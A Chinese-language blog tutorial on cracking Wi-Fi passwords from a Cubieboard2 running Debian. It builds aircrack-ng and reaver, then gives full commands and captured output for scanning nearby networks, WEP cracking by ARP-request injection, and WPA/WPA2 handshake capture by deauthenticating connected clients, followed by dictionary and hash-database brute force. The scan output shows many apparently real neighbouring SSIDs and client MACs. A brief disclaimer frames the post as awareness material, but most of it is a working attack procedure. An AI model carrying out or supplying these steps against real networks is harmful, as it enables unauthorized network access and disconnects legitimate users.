學習linux下破解wifi密碼

本文的最終目的是介紹相關網絡安全知識, 提高大家的防範意識, 正所謂知己知彼百戰不殆.

破解他人wifi的行爲都是違法的, 與本文無關, 請知悉.

一. 軟硬件環境

硬件: cubieboard2
系統: debian (理論上基於debian的操作系統都可以, 如ubuntu, lubuntu, 等等)
無線網卡: RT3070_usb (其它無線網卡是否支持抓包以及驅動的安裝方法請自行谷歌)

由於以下所有工具的編譯都是直接在cubieboard裏進行的, 所以要在cubieboard裏構建編譯環境:

# apt-get install gcc make
rt3070驅動安裝:

# apt-get install firmware-ralink
二. 安裝aircrack-ng

1. 下載aircrack-ng源碼

# wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
# tar -zxvf aircrack-ng-1.1.tar.gz
2. 安裝必要的庫文件

# apt-get install libssl-dev
否則編譯時會報錯:

In file included from aircrack-ng.c:65:0:
crypto.h:12:26: fatal error: openssl/hmac.h: No such file or directory
compilation terminated.
make[1]: *** [aircrack-ng.o] Error 1
make[1]: Leaving directory `/home/code/wifi/aircrack-ng-1.1/src'
make: *** [all] Error 2
3. 修改編譯配置文件

# vi common.mak
搜索Werror這行, 將:
CFLAGS ?= -g -W -Wall -Werror -O3
改成:
CFLAGS ?= -g -W -Wall -O3
否則編譯時報錯:

linux.c: In function ‘is_ndiswrapper’:
linux.c:165:17: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘linux_set_rate’:
linux.c:334:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘linux_set_channel’:
linux.c:807:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘linux_set_freq’:
linux.c:896:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘set_monitor’:
linux.c:1022:22: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘do_linux_open’:
linux.c:1366:12: error: variable ‘unused_str’ set but not used [-Werror=unused-but-set-variable]
linux.c:1352:15: error: variable ‘unused’ set but not used [-Werror=unused-but-set-variable]
linux.c: In function ‘get_battery_state’:
linux.c:1982:35: error: variable ‘current’ set but not used [-Werror=unused-but-set-variable]
cc1: all warnings being treated as errors
make[3]: *** [linux.o] Error 1
4. 編譯,安裝

# make
# make install
三. 安裝reaver(窮舉PIN碼方式破解工具)

1. 下載reaver源碼

http://code.google.com/p/reaver-wps/downloads/list

2. 安裝必要的庫文件

# apt-get install libpcap-dev libsqlite3-dev
否則configure的時候報錯:

checking for pcap_open_live in -lpcap... no
error: pcap library not found!
3. 編譯,安裝

# cd src
# ./configure
# make
# make install
四. 安裝minidwep-gtk(圖形界面工具, 可選)

deb包, 直接下載安裝即可, 本文只專注於純命令行破解, 圖形工具安裝步驟略

五. 破解步驟

1. 安裝wireless-tools

# apt-get install wireless-tools iw
否則在使用airmon-ng命令時會報錯:

Wireless tools not found
或者
ERROR: Neither the sysfs interface links nor the iw command is available.
2. 查看自己的無線網卡的名稱,一般是wlan0或者wifi0

# ifconfig -a
3. 開啓無線網卡監控功能

# airmon-ng start wlan0
注:wlan0爲你的無線設備名稱
這一步可能會看到提示有XXXX XXXX進程影響,沒關係,kill XXX XXX, XXX爲給出的進程號,然後重新執行上句, 直到不報錯

4. 選擇要破解的wifi, 獲取其SSID, MAC, CHANNEL

4.1 用airodump-ng掃描

# airodump-ng mon0
會列出所有掃描到的AP列表, 如:

CH 13 ][ Elapsed: 1 min ][ 2014-05-03 23:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1D:0F:6A:0A:F6 -1 0 0 0 108 -1
00:23:CD:26:4A:B8 -59 19 20 0 6 54 . WEP WEP MERCURY
08:18:1A:89:D8:8C -63 19 0 0 1 54e WPA CCMP PSK ChinaNet-HbDm
EC:17:2F:B9:18:32 -77 11 0 0 6 54e. WPA2 CCMP PSK
08:10:76:6D:9B:74 -78 13 0 0 6 54e WPA2 CCMP PSK ZBH
F0:7D:68:55:AF:F4 -77 11 1 0 6 54e WPA2 CCMP PSK TL
AC:6E:1A:73:D7:85 -80 10 0 0 11 54e WPA2 CCMP PSK ChinaNet-43Bs
62:6E:1A:73:D7:86 -79 13 0 0 11 54e WPA2 CCMP PSK iTV-43Bs
A8:15:4D:13:0F:28 -78 19 1 0 11 54 . WPA2 CCMP PSK 2-703_TPLINK
38:83:45:7C:FE:00 -80 5 0 0 6 54e. WPA2 CCMP PSK xiaoer
20:DC:E6:F1:F1:82 -81 11 0 0 6 54e. WPA2 CCMP PSK XMing
6C:E8:73:5B:A3:2A -81 16 0 0 1 54e. WPA2 CCMP PSK HUANG
C8:3A:35:32:BA:88 -81 8 0 0 8 54e WPA CCMP PSK LYX
14:E6:E4:43:66:CA -81 2 0 0 4 54e. WPA2 CCMP PSK TP-LINK_4366CA
D8:15:0D:4D:18:18 -82 7 0 0 3 54e WPA2 CCMP PSK TP-LINK_805
8C:BE:BE:23:A5:AC -82 7 0 0 3 54e WPA2 CCMP PSK Xiaomi_las
9C:D2:4B:44:8B:68 -83 5 0 0 8 54e WPA CCMP PSK ChinaNet-bwwg
08:10:74:AB:61:7E -82 6 0 0 6 54 WPA TKIP PSK Netcore
00:1E:2A:67:EF:B0 -84 13 0 0 11 54 . WPA2 CCMP PSK SecondBegining
28:2C:B2:2C:A8:5C -84 20 0 0 11 54e. WPA2 CCMP PSK TP407
04:8D:38:00:A8:CB -21 47 181 0 7 54e WPA2 CCMP PSK 

BSSID STATION PWR Rate Lost Packets Probes

00:1D:0F:6A:0A:F6 E0:B9:A5:05:D2:3D -76 0 - 1 19 6
00:23:CD:26:4A:B8 5C:51:4F:CA:4F:09 -1 48 - 0 0 16
00:23:CD:26:4A:B8 D0:22:BE:EE:E8:A4 -80 0 - 2 20 8
04:8D:38:00:A8:CB 00:1D:E0:4B:DF:F1 -78 0e-12e 0 179 
選取一個信號好的, 連接的客戶端活躍的就可以.

如果想破解WEP, 我們選取的AP信息:

SSID : MERCURY
MAC : 00:23:CD:26:4A:B8
CHANNEL : 6
ENC : WEP
如果想破解WPA/WPA2, 我們選取的AP信息:

SSID : 
MAC : 04:8D:38:00:A8:CB
CHANNEL : 7
ENC : WPA2
4.2 這一步用wireless-tools或者windows下的工具WirelessMon也可以

5. 破解WEP

5.1 抓取足夠的通信數據包

# airodump-ng --ivs -w packet -c 6 wlan0
或者
# airodump-ng --ivs -w packet -c 6 --bssid 00:23:CD:26:4A:B8 wlan0 //可以加--bssid參數限定只抓特定AP的數據包
參數解釋:
--ivs 這裏的設置是通過設置過濾,不再將所有無線數據保存,而只是保存可用於破解的IVS數據報文,這樣可以有效地縮減保存的數據包大小;
-c 這裏我們設置目標AP的工作頻道,通過剛纔的觀察,我們要進行攻擊的無線路由器channel爲6;
-w 後跟要保存的文件名,所以輸入自己希望保持的文件名, 這裏會生成packet-xx.ivs文件, xx是序號。後文中破解時使用ivs包可用通配符代替, 如packet-*.ivs

抓包界面如下:

CH 6 ][ Elapsed: 12 mins ][ 2014-05-04 00:23

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:8D:38:00:A8:CB -24 0 3 3 0 7 54e WPA2 CCMP PSK [email protected]
00:23:CD:26:4A:B8 -59 46 582 729 0 6 54 . WEP WEP MERCURY
EC:17:2F:B9:18:32 -75 65 458 139 1 6 54e. WPA2 CCMP PSK TARO
F0:7D:68:55:AF:F4 -78 43 461 24 0 6 54e WPA2 CCMP PSK TL
20:DC:E6:F1:F1:82 -80 33 367 0 0 6 54e. WPA2 CCMP PSK XMing
8C:21:0A:18:17:46 -78 74 513 3 0 6 54e. WPA2 CCMP PSK VincentKasim
38:83:45:7C:FE:00 -79 36 399 0 0 6 54e. WPA2 CCMP PSK xiaoer
08:10:74:AB:61:7E -82 1 261 0 0 6 54 WPA TKIP PSK Netcore
08:10:76:6D:9B:74 -82 27 277 0 0 6 54e WPA2 CCMP PSK ZBH
00:25:86:66:42:6E -83 4 19 0 0 6 54 . WEP WEP FAST_66426E
00:87:15:25:85:2C -83 90 508 18 0 6 54e WPA2 CCMP PSK RT8888
14:E6:E4:56:E2:B6 -83 0 29 0 0 6 54e. WEP WEP pig
40:16:9F:76:82:A2 -84 0 1 0 0 6 22e. WPA2 CCMP PSK WH
38:83:45:CA:42:26 -84 0 1 0 0 6 54e. WPA2 CCMP PSK tp-link n1

BSSID STATION PWR Rate Lost Packets Probes

04:8D:38:00:A8:CB 88:E3:AB:A9:23:96 -80 0 - 1e 0 152
00:23:CD:26:4A:B8 D0:22:BE:EE:E8:A4 -76 54 - 1 0 82
00:23:CD:26:4A:B8 5C:51:4F:CA:4F:09 -82 54 - 1 0 763
5.2 對目標AP使用ArpRequest注入攻擊

若連接着該無線路由器/AP的無線客戶端正在進行大流量的交互,比如使用迅雷、電騾進行大文件下載等,則可以依靠單純的抓包就可以破解出WEP密碼。
但是無線黑客們覺得這樣的等待有時候過於漫長,於是就採用了一種稱之爲“ARP Request”的方式來讀取ARP請求報文,並僞造報文再次重發出去,以便刺激AP產生更多的數據包,從而加快破解過程,
這種方法就稱之爲ArpRequest注入攻擊。輸入命令(新開一個終端)如下:

# aireplay-ng -3 -b [AP's MAC] -h [Client's MAC] mon0
參數解釋:
-3 指採用ARPRequesr注入攻擊模式;
-b 後跟AP的MAC地址,這裏就是前面我們探測到的SSID爲TPLINK的AP的MAC;
-h 後跟客戶端的MAC地址,也就是我們前面探測到的有效無線客戶端的MAC;

例如

# aireplay-ng -3 -b 00:23:CD:26:4A:B8 -h D0:22:BE:EE:E8:A4 mon0
回車後將會看到如下所示的讀取無線數據報文,從中獲取ARP報文的情況出現。

The interface MAC (48:02:2A:42:52:F9) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether D0:22:BE:EE:E8:A4
23:55:00 Waiting for beacon frame (BSSID: 00:23:CD:26:4A:B8) on channel 6
Saving ARP requests in replay_arp-0503-235500.cap
You should also start airodump-ng to capture replies.
Read 3943 packets (got 0 ARP requests and 13 ACKs), sent 0 packets...(0 pps)
在等待片刻之後,一旦成功截獲到ARP請求報文,我們將會看到如下圖13所示的大量ARP報文快速交互的情況出現。

The interface MAC (48:02:2A:42:52:F9) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether D0:22:BE:EE:E8:A4
23:55:00 Waiting for beacon frame (BSSID: 00:23:CD:26:4A:B8) on channel 6
Saving ARP requests in replay_arp-0503-235500.cap
You should also start airodump-ng to capture replies.
Read 13943 packets (got 1 ARP requests and 131 ACKs), sent 12 packets...(566 pps)
Read 14045 packets (got 40 ARP requests and 231 ACKs), sent 123 packets...(566 pps)
Read 14132 packets (got 132 ARP requests and 452 ACKs), sent 234 packets...(566 pps)
Read 14212 packets (got 156 ARP requests and 645 ACKs), sent 567 packets...(566 pps)
Read 14223 packets (got 196 ARP requests and 1090 ACKs), sent 845 packets...(566 pps)
此時回到airodump-ng的界面查看,作爲MERCURY的packets欄的數字在飛速遞增, 一般該值達到1萬5千以上, 就可以進行下一步的破解, 很複雜的密碼需要8萬以上的IVS。

5.3 使用aircrack-ng破解WEP

在抓取的無線數據報文達到了一定數量後,一般都是指IVs值達到1萬以上時,就可以開始破解,若不能成功就等待數據報文的繼續抓取然後多試幾次。
注意,此處不需要將進行注入攻擊的終端關閉,而是另外開一個終端進行同步破解。輸入命令如下:

# aircrack-ng 捕獲的ivs文件
例如:

# aircrack-ng packet-*.ivs
關於ivs的值數量,我們可以從如下所示的界面中看到,當前已經接受到的IVs已經達到了1萬5千以上,aircrack-ng已經嘗試了16萬個組合。

Aircrack-ng 1.1

[00:01:01] Tested 163814 keys (got 15081 IVs)

KB depth byte(vote)
0 55/ 61 AA(13248) 39(13212) BC(13212) CE(13212) 79(13208) EB(13200) 04(13128) 61(13124) 57(13088) 4F(13060) C9(13048) 75(13024) 8F(12984) A4(12984)
1 12/ 14 49(14740) 88(14628) 86(14564) D8(14520) 7C(14272) 5B(14192) 22(14160) 10(14120) 05(14040) 0E(14012) A8(13976) 87(13932) E2(13828) 5D(13796)
2 38/ 2 09(13724) ED(13608) 40(13600) 24(13572) 7E(13572) C0(13572) 50(13560) 06(13492) 97(13432) C6(13432) 23(13392) 0B(13388) B2(13316) AB(13312)
3 2/ 3 9E(16764) A8(15876) 7A(15808) 12(15800) 4B(15740) 28(15440) 53(15368) 16(15036) 69(14936) 5E(14920) 91(14892) 74(14780) 45(14772) 99(14604)
4 16/ 4 7B(14488) 4A(14384) F1(14308) 86(14228) A1(14228) 5C(14128) 17(14120) 6C(14120) 7F(14088) 02(14084) 31(14052) BF(14016) C1(14008) 0C(14004)

KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
Decrypted corretly: 100%
注意: 高強度複雜密碼破解成功依賴於更多的IVs, 如13位複雜密碼需要8萬多IVs.

6. 破解WPA/WPA2

6.1 開始監控目標AP

獲取與其進行通信的Client’s MAC, 命令格式:

# airodump-ng -w handshake -c [AP‘s CHANNEL] mon0
# airodump-ng -w handshake -c [AP‘s CHANNEL] --bssid [AP‘s MAC] mon0 //可以加--bssid參數限定只抓特定AP的數據包
例如:

# airodump-ng -w handshake -c 7 --bssid 04:8D:38:00:A8:CB mon0
輸出如下所示:

CH 7 ][ Elapsed: 56 s ][ 2014-05-03 20:54

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:8D:38:00:A8:CB -2 100 510 3216 3 7 54e WPA2 CCMP PSK

BSSID STATION PWR Rate Lost Packets Probes

04:8D:38:00:A8:CB 88:E3:AB:A9:23:96 -74 0 - 1e 16 47
04:8D:38:00:A8:CB 00:1D:E0:4B:DF:F1 -74 0e-12e 51 3412
6.2 抓握手包

爲了獲得破解所需的WPA-PSK握手驗證的整個完整數據包,黑客們將會發送一種稱之爲“Deauth”的數據包來將已經連接至無線路由器的合法無線客戶端強制斷開,
此時,客戶端就會自動重新連接無線路由器,黑客們也就有機會捕獲到包含WPA-PSK握手驗證的完整數據包了。

第四步我們已經抓到兩個Client客戶端的MAC地址,從裏面隨便選個Client(最好選擇活躍些的)。
再打開一個新的終端(上一個終端不要關閉,後面還需要用到), 在新終端中輸入命令, 格式爲:

# aireplay-ng -0 20 -a [AP’s MAC] -c [CLIENT’s MAC] mon0
例如:
# aireplay-ng -0 20 -a 04:8D:38:00:A8:CB -c 88:E3:AB:A9:23:96 mon0
查看第一個終端中是否出現瞭如下所示的標誌WAP Handshake:

CH 7 ][ Elapsed: 6 mins ][ 2014-05-03 21:04 ][ WPA handshake: 04:8D:38:00:A8:CB <== 這一行出現WPA handshake說明抓到了握手包!!

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

04:8D:38:00:A8:CB -28 100 3346 30338 31 7 54e WPA2 CCMP PSK 

BSSID STATION PWR Rate Lost Packets Probes

04:8D:38:00:A8:CB 00:1D:E0:4B:DF:F1 -72 0e-12e 43 31348
04:8D:38:00:A8:CB 88:E3:AB:A9:23:96 -74 11e- 1 57 14993
如果出現了,那麼恭喜你離成功已經不遠了。抓到的握手包會保存在當前目錄下, 命名規則是handshake-xx.cap, xx是抓到的握手包的序號(因爲可能抓到不止一個握手包)
如果沒有出現就繼續重複aireplay-ng的命令,直到出現握手狀態。

6.3 暴力破解握手包

6.3.1 直接跑字典(推薦方式, 簡單, 但是速度比較慢)

# aircrack-ng -w [password.txt] -b [AP’s MAC] [handshake-xx.cap]
其中: password.txt 爲我們需要預置的字典文件(網上搜搜就有了)。
AP’s MAC 爲我們之前選取的AP的MAC
handshake-xx.cap 爲我們上一步抓到的握手包

Cubieboard2 跑字典的速度大概是每秒200~300個, 跟一般的臺式機還是有6,7倍的差距的, 可見Arm與X86架構不是同一個級別上的.由於跑字典時CPU滿載, 發熱量大, 建議給Cubieboard CPU上加裝散熱片.

例如:

# aircrack-ng -w password.txt -b 04:8D:38:00:A8:CB handshake-01.cap
6.3.2 利用字典文件生成Hash表數據庫, 直接跑數據庫(生成的Hash數據庫很大, 生成過程速度慢, 但是破解速度快)
新建ssid.txt, 把AP的SSID寫入其中, 然後執行:

# airolib-ng hashdb import ascii essid ssid.txt
# airolib-ng hashdb import ascii passwd password.txt
# airolib-ng hashdb clean all
# airolib-ng hashdb batch
檢查一下:

# airolib-ng hashdb stats
跑Hash數據庫

# aircrack-ng -r hashdb handshake-01.cap
以上兩種暴力破解方式任意一種破解成功後都會有如下提示:

Aircrack-ng 1.1

[00:01:23] 23092 keys tested (277.54 k/s)

KEY FOUND! [ abababab ]

Master Key : 45 0A 1F 5F EE 54 78 B8 00 97 DA 2E F2 89 D3 57
06 98 13 0D 62 66 E5 2B B6 1F 2A 6C BF 2F 88 2C

Transient Key : 70 52 7D 66 0C B7 52 F6 08 8C 0C 32 5D C0 B3 54
41 24 93 84 06 6D 37 78 16 8F 8F 0D 09 4D 51 0D
B2 31 31 96 73 77 62 17 B3 AD 72 06 41 F1 4C 05
4B B5 10 F5 3E E2 41 27 B4 52 08 70 B4 85 AC 0E

EAPOL HMAC : 81 B7 0E BB 19 AB 4B 24 E5 97 69 14 AD 46 B2 62
Tags: Linux, Tools

------------------ Have a nice day! --------------------

發佈了202 篇原創文章 · 獲贊 9 · 訪問量 42萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章